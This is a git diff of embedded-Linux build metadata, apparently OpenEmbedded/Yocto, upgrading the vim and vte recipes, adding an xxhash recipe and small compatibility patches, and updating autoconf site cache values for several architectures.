diff --git a/meta/recipes-support/vim/vim_8.1.1518.bb b/meta/recipes-support/vim/vim_8.1.1518.bb
deleted file mode 100644
index 60946a181f..0000000000
--- a/meta/recipes-support/vim/vim_8.1.1518.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require vim.inc
-
-PROVIDES = "xxd"
-
-PACKAGECONFIG_class-native = ""
-BBCLASSEXTEND = "native"
-
-ALTERNATIVE_${PN}_append = " xxd"
-ALTERNATIVE_TARGET[xxd] = "${bindir}/xxd"
-ALTERNATIVE_LINK_NAME[xxd] = "${bindir}/xxd"
diff --git a/meta/recipes-support/vim/vim_8.2.bb b/meta/recipes-support/vim/vim_8.2.bb
new file mode 100644
index 0000000000..f358e61132
--- /dev/null
+++ b/meta/recipes-support/vim/vim_8.2.bb
@@ -0,0 +1,19 @@
+require vim.inc
+
+PROVIDES = "xxd"
+
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+# Recommend that runtime data is installed along with vim
+RRECOMMENDS:${PN} = "${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-common"
+
+PACKAGECONFIG:class-native = ""
+BBCLASSEXTEND = "native nativesdk"
+
+ALTERNATIVE:${PN}:append = " xxd"
+ALTERNATIVE_TARGET[xxd] = "${bindir}/xxd"
+ALTERNATIVE_LINK_NAME[xxd] = "${bindir}/xxd"
+
+# We override the default in security_flags.inc because vim (not vim-tiny!) will abort
+# in many places for _FORTIFY_SOURCE=2. Security flags become part of CC.
+#
+lcl_maybe_fortify = "${@oe.utils.conditional('DEBUG_BUILD','1','','-D_FORTIFY_SOURCE=1',d)}"
diff --git a/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch b/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
new file mode 100644
index 0000000000..b4100fc381
--- /dev/null
+++ b/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
@@ -0,0 +1,42 @@
+From de9639baac792327c701e509258b8a13f6959e82 Mon Sep 17 00:00:00 2001
+From: Danilo Spinella <danyspin97@protonmail.com>
+Date: Thu, 21 Mar 2019 14:19:26 +0100
+Subject: [PATCH] Add W_EXITCODE macro for non-glibc systems
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Upstream-Status: Submitted [1]
+
+Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
+
+[1] https://gitlab.gnome.org/GNOME/vte/issues/72
+
+---
+ src/missing.hh | 4 ++++
+ src/widget.cc | 1 +
+ 2 files changed, 5 insertions(+)
+
+--- a/src/missing.hh
++++ b/src/missing.hh
+@@ -24,6 +24,10 @@
+ #define NSIG (8 * sizeof(sigset_t))
+ #endif
+
++#ifndef W_EXITCODE
++#define W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
++#endif
++
+ #ifndef HAVE_FDWALK
+ int fdwalk(int (*cb)(void* data, int fd),
+ void* data);
+--- a/src/widget.cc
++++ b/src/widget.cc
+@@ -21,6 +21,7 @@
+ #include "widget.hh"
+
+ #include <sys/wait.h> // for W_EXITCODE
++#include "missing.hh" // for W_EXITCODE on non-glibc systems
+
+ #include <exception>
+ #include <new>
diff --git a/meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch b/meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch
new file mode 100644
index 0000000000..c69a52e5d0
--- /dev/null
+++ b/meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch
@@ -0,0 +1,24 @@
+From daa30d0039397a735d49ea535305ed0bc5f9d73b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 26 Oct 2021 09:38:42 +0200
+Subject: [PATCH] Makefile.docs: correctly substitute gtkdoc qemu wrapper
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/reference/Makefile.docs | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/reference/Makefile.docs b/doc/reference/Makefile.docs
+index b18f0a4..da18440 100644
+--- a/doc/reference/Makefile.docs
++++ b/doc/reference/Makefile.docs
+@@ -233,7 +233,7 @@ INSTALL_DATA = $(INSTALL) -m 644
+
+ GTKDOC_CC = $(CC) $(INCLUDES) $(GTKDOC_DEPS_CFLAGS) $(CPPFLAGS) $(CFLAGS)
+ GTKDOC_LD = $(CC) $(GTKDOC_DEPS_LIBS) $(CFLAGS) $(LDFLAGS)
+-GTKDOC_RUN =
++GTKDOC_RUN = $(top_builddir)/gtkdoc-qemuwrapper
+
+ GTKDOC_CHECK_PATH = gtkdoc-check
+ GTKDOC_REBASE = gtkdoc-rebase
diff --git a/meta/recipes-support/vte/vte/0001-app.cc-use-old-school-asignment-to-avoid-gcc-4.8-err.patch b/meta/recipes-support/vte/vte/0001-app.cc-use-old-school-asignment-to-avoid-gcc-4.8-err.patch
deleted file mode 100644
index 9c3f98fa61..0000000000
--- a/meta/recipes-support/vte/vte/0001-app.cc-use-old-school-asignment-to-avoid-gcc-4.8-err.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 442da9076b52003743ffc6fd7b9d647de6d7aa8f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 17 Jan 2019 16:37:54 +0100
-Subject: [PATCH] app.cc: use old school asignment to avoid gcc 4.8 error
-
-This is needed to build vte-native on Centos 7,
-and can be dropped once that OS is no longer supported.
-
-Upstream-Status: Inappropriate [ancient compiler fix]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/app/app.cc | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/app/app.cc b/src/app/app.cc
-index d424064..675d789 100644
---- a/src/app/app.cc
-+++ b/src/app/app.cc
-@@ -306,7 +306,7 @@ public:
- else
- alpha = get_alpha();
-
-- GdkRGBA color{bg_color};
-+ GdkRGBA color = bg_color;
- color.alpha = alpha;
- return color;
- }
diff --git a/meta/recipes-support/vte/vte/0002-Add-W_EXITCODE-macro-for-non-glibc-systems.patch b/meta/recipes-support/vte/vte/0002-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
deleted file mode 100644
index 0ffd92b4ba..0000000000
--- a/meta/recipes-support/vte/vte/0002-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From f78988d3bb5929c857e788a86c7919d6a4ffacc9 Mon Sep 17 00:00:00 2001
-From: Danilo Spinella <danyspin97@protonmail.com>
-Date: Thu, 21 Mar 2019 14:19:26 +0100
-Subject: [PATCH] Add W_EXITCODE macro for non-glibc systems
-
-Upstream-Status: Submitted [1]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
-
-[1] https://gitlab.gnome.org/GNOME/vte/issues/72
-
----
- src/missing.hh | 21 +++++++++++++++++++++
- src/widget.cc | 1 +
- 2 files changed, 22 insertions(+)
- create mode 100644 src/missing.hh
-
-diff --git a/src/missing.hh b/src/missing.hh
-new file mode 100644
-index 00000000..1baa993d
---- /dev/null
-+++ b/src/missing.hh
-@@ -0,0 +1,21 @@
-+/* Copyright 2019 Danilo Spinella
-+ *
-+ * This library is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU Lesser General Public
-+ * License as published by the Free Software Foundation; either
-+ * version 3 of the License, or (at your option) any later version.
-+ *
-+ * This library is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ * Lesser General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU Lesser General Public
-+ * License along with this library; if not, write to the Free Software
-+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-+ */
-+
-+#ifndef W_EXITCODE
-+#define W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
-+#endif
-+
-diff --git a/src/widget.cc b/src/widget.cc
-index 331ddba9..555a4adf 100644
---- a/src/widget.cc
-+++ b/src/widget.cc
-@@ -21,6 +21,7 @@
- #include "widget.hh"
-
- #include <sys/wait.h> // for W_EXITCODE
-+#include "missing.hh" // for W_EXITCODE on non-glibc systems
-
- #include <new>
- #include <string>
---
-2.21.0
-
diff --git a/meta/recipes-support/vte/vte_0.58.2.bb b/meta/recipes-support/vte/vte_0.58.2.bb
deleted file mode 100644
index 9e27f6978d..0000000000
--- a/meta/recipes-support/vte/vte_0.58.2.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "Virtual terminal emulator GTK+ widget library"
-BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
-LICENSE = "GPLv3 & LGPLv3+ & LGPLv2.1+"
-LICENSE_libvte = "LGPLv3+"
-
-LIC_FILES_CHKSUM = " \
- file://COPYING.GPL3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
- file://COPYING.LGPL2;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24 \
-"
-
-DEPENDS = "glib-2.0 gtk+3 libpcre2 libxml2-native gperf-native"
-
-GNOMEBASEBUILDCLASS = "meson"
-GIR_MESON_OPTION = 'gir'
-
-inherit gnomebase gtk-doc distro_features_check upstream-version-is-even gobject-introspection
-
-# vapigen.m4 is required when vala is not present (but the one from vala should be used normally)
-SRC_URI += "file://0001-app.cc-use-old-school-asignment-to-avoid-gcc-4.8-err.patch \
- file://0002-Add-W_EXITCODE-macro-for-non-glibc-systems.patch \
- "
-SRC_URI[archive.md5sum] = "dadbf2c1d9864d3ea185738f97ab63af"
-SRC_URI[archive.sha256sum] = "33c966d2b1f2c3b0f9416dbca883fd746159b5bd040350e3b78f8104b2a42bc0"
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-# Instead of "inherit vala" we do the relevant settings here so we can
-# set DEPENDS based on PACKAGECONFIG.
-
-# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
-export STAGING_DATADIR
-# Upstream Vala >= 0.11 looks in XDG_DATA_DIRS for .vapi files
-export XDG_DATA_DIRS = "${STAGING_DATADIR}"
-
-# Help g-ir-scanner find the .so for linking
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/src/.libs"
-}
-
-# Package additional files
-FILES_${PN}-dev += "${datadir}/vala/vapi/*"
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[vala] = "-Dvapi=true,-Dvapi=false,vala-native vala"
-PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
-# vala requires gir
-PACKAGECONFIG_remove_class-native = "vala"
-
-CFLAGS += "-D_GNU_SOURCE"
-
-PACKAGES =+ "libvte ${PN}-prompt"
-FILES_libvte = "${libdir}/*.so.* ${libdir}/girepository-1.0/*"
-FILES_${PN}-prompt = "${sysconfdir}/profile.d"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/vte/vte_0.66.2.bb b/meta/recipes-support/vte/vte_0.66.2.bb
new file mode 100644
index 0000000000..af1c47cf80
--- /dev/null
+++ b/meta/recipes-support/vte/vte_0.66.2.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Virtual terminal emulator GTK+ widget library"
+DESCRIPTION = "VTE provides a virtual terminal widget for GTK applications."
+HOMEPAGE = "https://wiki.gnome.org/Apps/Terminal/VTE"
+BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
+LICENSE = "GPL-3.0-only & LGPL-3.0-or-later & MIT"
+LICENSE:libvte = "LGPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = " \
+ file://COPYING.GPL3;md5=cc702cf3444d1f19680c794cc61948f9 \
+ file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24 \
+ file://COPYING.XTERM;md5=d7fc3a23c16c039afafe2e042030f057 \
+"
+
+DEPENDS = "glib-2.0 gtk+3 libpcre2 libxml2-native gperf-native icu"
+
+GNOMEBASEBUILDCLASS = "meson"
+GIR_MESON_OPTION = 'gir'
+
+inherit gnomebase gtk-doc features_check upstream-version-is-even gobject-introspection
+
+# vapigen.m4 is required when vala is not present (but the one from vala should be used normally)
+SRC_URI += "file://0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch \
+ file://0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch"
+SRC_URI[archive.sha256sum] = "e89974673a72a0a06edac6d17830b82bb124decf0cb3b52cebc92ec3ff04d976"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+# Instead of "inherit vala" we do the relevant settings here so we can
+# set DEPENDS based on PACKAGECONFIG.
+
+# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
+export STAGING_DATADIR
+# Upstream Vala >= 0.11 looks in XDG_DATA_DIRS for .vapi files
+export XDG_DATA_DIRS = "${STAGING_DATADIR}"
+
+# Help g-ir-scanner find the .so for linking
+do_compile:prepend() {
+ export GIR_EXTRA_LIBS_PATH="${B}/src/.libs"
+}
+
+# Package additional files
+FILES:${PN}-dev += "${datadir}/vala/vapi/*"
+
+PACKAGECONFIG ??= "gnutls"
+PACKAGECONFIG[vala] = "-Dvapi=true,-Dvapi=false,vala-native vala"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[systemd] = "-D_systemd=true,-D_systemd=false,systemd"
+# vala requires gir
+PACKAGECONFIG:remove:class-native = "vala"
+
+CFLAGS += "-D_GNU_SOURCE"
+
+PACKAGES =+ "libvte ${PN}-prompt"
+FILES:libvte = "${libdir}/*.so.* ${libdir}/girepository-1.0/*"
+FILES:${PN}-prompt = " \
+ ${sysconfdir}/profile.d \
+ ${libexecdir}/vte-urlencode-cwd \
+"
+
+FILES:${PN}-dev += "${datadir}/glade/"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/xxhash/xxhash_0.8.1.bb b/meta/recipes-support/xxhash/xxhash_0.8.1.bb
new file mode 100644
index 0000000000..b3b9702598
--- /dev/null
+++ b/meta/recipes-support/xxhash/xxhash_0.8.1.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Extremely fast non-cryptographic hash algorithm"
+DESCRIPTION = "xxHash is an extremely fast non-cryptographic hash algorithm, \
+working at speeds close to RAM limits."
+HOMEPAGE = "http://www.xxhash.com/"
+LICENSE = "BSD-2-Clause & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=cdfe7764d5685d8e08b3df302885d7f3 \
+ file://cli/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
+
+SRC_URI = "git://github.com/Cyan4973/xxHash.git;branch=release;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+SRCREV = "35b0373c697b5f160d3db26b1cbb45a0d5ba788c"
+
+S = "${WORKDIR}/git"
+
+do_compile () {
+ oe_runmake all
+}
+
+do_install () {
+ oe_runmake DESTDIR=${D} install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/site/arm-32 b/meta/site/arm-32
index 81fd8d3103..60ada2e974 100644
--- a/meta/site/arm-32
+++ b/meta/site/arm-32
@@ -22,20 +22,6 @@ ac_cv_alignof_unsigned_long=4
# jikes
ac_cv_sizeof_wchar_t=4
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-
# at-spi2-core
ac_cv_alignof_char=1
ac_cv_alignof_dbind_pointer=4
diff --git a/meta/site/arm-64 b/meta/site/arm-64
index 90c09b2d54..40763fb059 100644
--- a/meta/site/arm-64
+++ b/meta/site/arm-64
@@ -22,20 +22,6 @@ ac_cv_alignof_guint32=4
ac_cv_alignof_guint64=8
ac_cv_alignof_unsigned_long=8
-# ORBit2 (should be in meta-gnome/site/arm-64)
-#ac_cv_alignof_CORBA_boolean=1
-#ac_cv_alignof_CORBA_char=1
-#ac_cv_alignof_CORBA_double=8
-#ac_cv_alignof_CORBA_float=4
-#ac_cv_alignof_CORBA_long=4
-#ac_cv_alignof_CORBA_long_double=8
-#ac_cv_alignof_CORBA_long_long=8
-#ac_cv_alignof_CORBA_octet=1
-#ac_cv_alignof_CORBA_pointer=4
-#ac_cv_alignof_CORBA_short=2
-#ac_cv_alignof_CORBA_struct=1
-#ac_cv_alignof_CORBA_wchar=2
-
# at-spi2-core
ac_cv_alignof_dbind_pointer=8
ac_cv_alignof_dbind_struct=1
diff --git a/meta/site/arm-common b/meta/site/arm-common
index 198c98c6a7..4c25c82be9 100644
--- a/meta/site/arm-common
+++ b/meta/site/arm-common
@@ -4,9 +4,6 @@ ac_cv_func_lstat_dereferences_slashed_symlink=${ac_cv_func_lstat_dereferences_sl
ac_cv_func_lstat_empty_string_bug=${ac_cv_func_lstat_empty_string_bug=no}
ac_cv_func_stat_empty_string_bug=${ac_cv_func_stat_empty_string_bug=no}
ac_cv_func_stat_ignores_trailing_slash=${ac_cv_func_stat_ignores_trailing_slash=no}
-ac_cv_header_netinet_sctp_h=${ac_cv_header_netinet_sctp_h=no}
-ac_cv_header_netinet_sctp_uio_h=${ac_cv_header_netinet_sctp_uio_h=no}
-ac_cv_sctp=${ac_cv_sctp=no}
# bash
ac_cv_c_long_double=${ac_cv_c_long_double=yes}
@@ -76,9 +73,6 @@ lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
# libesmtp
acx_working_snprintf=${acx_working_snprintf=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
diff --git a/meta/site/common b/meta/site/common
index ff552329bd..62907274d7 100644
--- a/meta/site/common
+++ b/meta/site/common
@@ -19,3 +19,10 @@ shadow_cv_passwd_dir=${bindir}
ac_cv_buggy_getaddrinfo=no
ac_cv_path_SED=${ac_cv_path_SED=sed}
+
+# General
+ac_cv_have_decl_sys_siglist=${ac_cv_have_decl_sys_siglist=no}
+
+# bash
+bash_cv_under_sys_siglist=${bash_cv_under_sys_siglist=no}
+bash_cv_sys_siglist=${bash_cv_sys_siglist=no}
diff --git a/meta/site/common-glibc b/meta/site/common-glibc
index 1443f8e528..0a665658fb 100644
--- a/meta/site/common-glibc
+++ b/meta/site/common-glibc
@@ -1,5 +1,5 @@
# general
-ac_cv_have_decl_sys_siglist=${ac_cv_have_decl_sys_siglist=yes}
+ac_cv_func_calloc_0_nonnull=${ac_cv_func_calloc_0_nonnull=yes}
ac_cv_func_realloc_works=${ac_cv_func_realloc_works=yes}
ac_cv_func_realloc_0_nonnull=${ac_cv_func_realloc_0_nonnull=yes}
ac_cv_func_malloc_works=${ac_cv_func_malloc_works=yes}
@@ -14,10 +14,9 @@ ac_cv_func_posix_getpwuid_r=${ac_cv_func_posix_getpwuid_r=yes}
ac_cv_func_posix_getgrgid_r=${ac_cv_func_posix_getgrgid_r=yes}
ac_cv_type_uid_t={ac_cv_type_uid_t=yes}
ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
+ac_cv_func_strtod=${ac_cv_func_strtod=yes}
# bash
-bash_cv_under_sys_siglist=${bash_cv_under_sys_siglist=yes}
-bash_cv_sys_siglist=${bash_cv_sys_siglist=yes}
bash_cv_getcwd_malloc=${bash_cv_getcwd_malloc=yes}
# clamav
@@ -28,6 +27,14 @@ ac_cv_func_mmap_fixed_mapped=${ac_cv_func_mmap_fixed_mapped=yes}
# coreutils
fu_cv_sys_stat_statfs2_bsize=${fu_cv_sys_stat_statfs2_bsize=yes}
+gl_cv_func_getcwd_abort_bug=${gl_cv_func_getcwd_abort_bug=no}
+gl_cv_func_getcwd_null=${gl_cv_func_getcwd_null=yes}
+gl_cv_func_getcwd_path_max=${gl_cv_func_getcwd_path_max=yes}
+ac_cv_func_getgroups_works=${ac_cv_func_getgroups_works=yes}
+gl_cv_func_nanosleep=${gl_cv_func_nanosleep='no (mishandles large arguments)'}
+gl_cv_func_working_mkstemp=${gl_cv_func_working_mkstemp=yes}
+gl_cv_func_working_mktime=${gl_cv_func_working_mktime=yes}
+gl_cv_func_working_utimes=${gl_cv_func_working_utimes=yes}
# glib
glib_cv_strlcpy=${glib_cv_strlcpy=no}
diff --git a/meta/site/common-linux b/meta/site/common-linux
index 71ec961b15..8f23adeab4 100644
--- a/meta/site/common-linux
+++ b/meta/site/common-linux
@@ -1,6 +1,9 @@
# gettext - these add sleep delays otherwise
gl_cv_func_sleep_works=${gl_cv_func_sleep_works=yes}
gl_cv_header_working_fcntl_h=${gl_cv_header_working_fcntl_h=yes}
+# the euc-jp tests in iconv.m4 break elfutils and libunistring depending on the
+# host locales installed. Avoid this by skipping the tests, we're not on HP-UX!
+am_cv_func_iconv_works=${am_cv_func_iconv_works=yes}
# apr
ac_cv_file__dev_zero=${ac_cv_file__dev_zero=yes}
@@ -47,8 +50,13 @@ hw_cv_func_snprintf_c99=${hw_cv_func_snprintf_c99=yes}
hw_cv_func_vsnprintf_c99=${hw_cv_func_vsnprintf_c99=yes}
# coreutils
+ac_cv_func_chown_works=${ac_cv_func_chown_works=yes}
+ac_cv_func_utime_null=${ac_cv_func_utime_null=yes}
gl_cv_func_fstatat_zero_flag=${gl_cv_func_fstatat_zero_flag=yes}
+gl_cv_func_link_follows_symlink=${gl_cv_func_link_follows_symlink=no}
+gl_cv_func_unlink_busy_text=${gl_cv_func_unlink_busy_text=yes}
gl_cv_have_proc_uptime=${gl_cv_have_proc_uptime=yes}
+gl_cv_pipes_are_fifos=${gl_cv_pipes_are_fifos='yes (1)'}
# mysql
ac_cv_sys_restartable_syscalls=${ac_cv_sys_restartable_syscalls=yes}
diff --git a/meta/site/common-musl b/meta/site/common-musl
index 1b4fc32135..d990c4e072 100644
--- a/meta/site/common-musl
+++ b/meta/site/common-musl
@@ -1,9 +1,10 @@
# general
-ac_cv_have_decl_sys_siglist=${ac_cv_have_decl_sys_siglist=no}
+ac_cv_func_calloc_0_nonnull=${ac_cv_func_calloc_0_nonnull=yes}
ac_cv_func_realloc_works=${ac_cv_func_realloc_works=yes}
ac_cv_func_realloc_0_nonnull=${ac_cv_func_realloc_0_nonnull=yes}
ac_cv_func_malloc_works=${ac_cv_func_malloc_works=yes}
ac_cv_func_malloc_0_nonnull=${ac_cv_func_malloc_0_nonnull=yes}
+ac_cv_func_memcmp_working=${ac_cv_func_memcmp_working=yes}
ac_cv_func_getpgrp_void=yes
ac_cv_func_setpgrp_void=yes
ac_cv_func_setgrent_void=yes
@@ -13,6 +14,7 @@ ac_cv_func_posix_getpwuid_r=${ac_cv_func_posix_getpwuid_r=yes}
ac_cv_func_posix_getgrgid_r=${ac_cv_func_posix_getgrgid_r=yes}
ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
ac_cv_func_mmap_fixed_mapped=${ac_cv_func_mmap_fixed_mapped=yes}
+ac_cv_func_strtod=${ac_cv_func_strtod=yes}
# glib
glib_cv_strlcpy=${glib_cv_strlcpy=no}
@@ -21,20 +23,25 @@ ac_cv_func_snprintf_c99=${ac_cv_func_snprintf_c99=yes}
ac_cv_func_vsnprintf_c99=${ac_cv_func_vsnprintf_c99=yes}
glib_cv_compliant_posix_memalign=${glib_cv_compliant_posix_memalign=1}
glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_have_qsort_r=${glib_cv_have_qsort_r=no}
+glib_cv_have_qsort_r=${glib_cv_have_qsort_r=yes}
#dbus-glib
ac_cv_have_abstract_sockets=${ac_cv_have_abstract_sockets=yes}
-# bash
-bash_cv_under_sys_siglist=${bash_cv_under_sys_siglist=no}
-bash_cv_sys_siglist=${bash_cv_sys_siglist=no}
-
# coreutils
fu_cv_sys_stat_statfs2_bsize=${fu_cv_sys_stat_statfs2_bsize=yes}
+gl_cv_func_getcwd_abort_bug=${gl_cv_func_getcwd_abort_bug=no}
+gl_cv_func_getcwd_null=${gl_cv_func_getcwd_null=yes}
+gl_cv_func_getcwd_path_max=${gl_cv_func_getcwd_path_max='no, but it is partly working'}
+ac_cv_func_getgroups_works=${ac_cv_func_getgroups_works=yes}
gl_cv_func_gettimeofday_clobber=${gl_cv_func_gettimeofday_clobber=no}
+gl_cv_func_nanosleep=${gl_cv_func_nanosleep=yes}
+gl_cv_func_strtod_works=${gl_cv_func_strtod_works=yes}
gl_cv_func_tzset_clobber=${gl_cv_func_tzset_clobber=no}
gl_cv_func_gettimeofday_posix_signature=${gl_cv_func_gettimeofday_posix_signature=yes}
+gl_cv_func_working_mkstemp=${gl_cv_func_working_mkstemp=yes}
+gl_cv_func_working_mktime=${gl_cv_func_working_mktime=yes}
+gl_cv_func_working_utimes=${gl_cv_func_working_utimes=yes}
ac_cv_func_posix_spawn=${ac_cv_func_posix_spawn=yes}
ac_cv_func_posix_spawn_works=${ac_cv_func_posix_spawn_works=yes}
diff --git a/meta/site/ix86-common b/meta/site/ix86-common
index c5e354c073..d98ae5265b 100644
--- a/meta/site/ix86-common
+++ b/meta/site/ix86-common
@@ -27,10 +27,7 @@ ac_cv_func_stat_empty_string_bug=${ac_cv_func_stat_empty_string_bug=no}
ac_cv_func_stat_ignores_trailing_slash=${ac_cv_func_stat_ignores_trailing_slash=no}
ac_cv_va_val_copy=${ac_cv_va_val_copy=yes}
-ac_cv_header_netinet_sctp_h=${ac_cv_header_netinet_sctp_h=no}
-ac_cv_header_netinet_sctp_uio_h=${ac_cv_header_netinet_sctp_uio_h=no}
ac_cv_linux_vers=${ac_cv_linux_vers=2}
-ac_cv_sctp=${ac_cv_sctp=no}
ac_cv_path_ESD_CONFIG=no
lf_cv_sane_realloc=yes
@@ -110,9 +107,6 @@ ac_cv_sizeof_wchar_t=4
ac_cv_need_trio=${ac_cv_need_trio=no}
lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_cv_lbl_unaligned_fail=${ac_cv_lbl_unaligned_fail=no}
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
@@ -124,20 +118,6 @@ with_broken_putenv=${with_broken_putenv=no}
mysql_cv_func_atomic_sub=${mysql_cv_func_atomic_sub=yes}
mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=yes}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# php
ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
diff --git a/meta/site/mips-common b/meta/site/mips-common
index 5858dfb15b..892817b108 100644
--- a/meta/site/mips-common
+++ b/meta/site/mips-common
@@ -15,20 +15,6 @@ screen_cv_sys_sockets_nofs=${screen_cv_sys_sockets_nofs=no}
screen_cv_sys_sockets_usable=${screen_cv_sys_sockets_usable=yes}
screen_cv_sys_terminfo_used=${screen_cv_sys_terminfo_used=yes}
-# ORBit2
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_wchar=2
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_struct=1
-
# apache
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
diff --git a/meta/site/mips-linux b/meta/site/mips-linux
index 72a54f95e3..b2f15eee18 100644
--- a/meta/site/mips-linux
+++ b/meta/site/mips-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mips64-linux b/meta/site/mips64-linux
index ed0fbbe653..e7c16405eb 100644
--- a/meta/site/mips64-linux
+++ b/meta/site/mips64-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
